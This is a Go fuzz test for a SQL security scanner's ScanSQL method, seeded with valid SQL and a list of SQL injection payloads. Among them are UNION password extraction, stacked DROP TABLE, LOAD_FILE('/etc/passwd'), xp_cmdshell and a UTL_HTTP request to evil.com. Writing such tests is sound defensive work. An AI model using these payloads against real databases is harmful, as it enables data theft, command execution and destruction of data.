FuzzScanSQL fuzzes the security scanner's ScanSQL method with arbitrary SQL input. The scanner must never panic - only return results gracefully.
(f *testing.F)
| 21 | // FuzzScanSQL fuzzes the security scanner's ScanSQL method with arbitrary SQL input. |
| 22 | // The scanner must never panic - only return results gracefully. |
| 23 | func FuzzScanSQL(f *testing.F) { |
| 24 | // Valid SQL seeds |
| 25 | validSQL := []string{ |
| 26 | "SELECT 1", |
| 27 | "SELECT * FROM users WHERE id = 1", |
| 28 | "INSERT INTO users (name, email) VALUES ('Alice', 'a@b.com')", |
| 29 | "UPDATE users SET name = 'Bob' WHERE id = 1", |
| 30 | "DELETE FROM users WHERE id = 1", |
| 31 | "CREATE TABLE t (id INT PRIMARY KEY)", |
| 32 | "SELECT a FROM t1 JOIN t2 ON t1.id = t2.id", |
| 33 | "WITH cte AS (SELECT 1) SELECT * FROM cte", |
| 34 | "SELECT COUNT(*) FROM t GROUP BY a HAVING COUNT(*) > 1", |
| 35 | "SELECT CAST(price AS INTEGER) FROM products", |
| 36 | } |
| 37 | |
| 38 | // SQL injection pattern seeds |
| 39 | injectionSQL := []string{ |
| 40 | // Tautology |
| 41 | "SELECT * FROM users WHERE 1=1", |
| 42 | "SELECT * FROM users WHERE 'a'='a'", |
| 43 | "SELECT * FROM users WHERE id=1 OR 1=1", |
| 44 | // Comment bypass |
| 45 | "SELECT * FROM users WHERE id=1--", |
| 46 | "SELECT * FROM users WHERE id=1/**/", |
| 47 | "SELECT * FROM users WHERE id=1#", |
| 48 | "admin'--", |
| 49 | // Union-based |
| 50 | "SELECT * FROM users UNION SELECT username, password FROM admin", |
| 51 | "' UNION SELECT 1,2,3--", |
| 52 | "1 UNION ALL SELECT NULL,NULL,table_name FROM information_schema.tables--", |
| 53 | // Stacked queries |
| 54 | "SELECT 1; DROP TABLE users", |
| 55 | "SELECT 1; DELETE FROM users", |
| 56 | "'; DROP TABLE users--", |
| 57 | // Time-based |
| 58 | "SELECT SLEEP(5)", |
| 59 | "SELECT * FROM users WHERE id=1 AND SLEEP(5)", |
| 60 | "SELECT pg_sleep(5)", |
| 61 | "'; WAITFOR DELAY '0:0:5'--", |
| 62 | // Out-of-band |
| 63 | "SELECT LOAD_FILE('/etc/passwd')", |
| 64 | "EXEC xp_cmdshell('dir')", |
| 65 | "SELECT UTL_HTTP.REQUEST('http://evil.com')", |
| 66 | // Dangerous functions |
| 67 | "EXEC sp_executesql N'SELECT 1'", |
| 68 | "PREPARE stmt FROM 'SELECT 1'", |
| 69 | // Boolean-based |
| 70 | "SELECT * FROM users WHERE id=1 AND 1=1", |
| 71 | "SELECT * FROM users WHERE id=1 AND 1=2", |
| 72 | "SELECT * FROM users WHERE id=1 AND SUBSTRING(username,1,1)='a'", |
| 73 | // Edge cases |
| 74 | "", |
| 75 | ";;;", |
| 76 | "SELECT", |
| 77 | "' OR ''='", |
| 78 | "1' AND '1'='1", |
| 79 | "admin' OR '1'='1' /*", |
| 80 | string(make([]byte, 10000)), // large input |
nothing calls this directly
no test coverage detected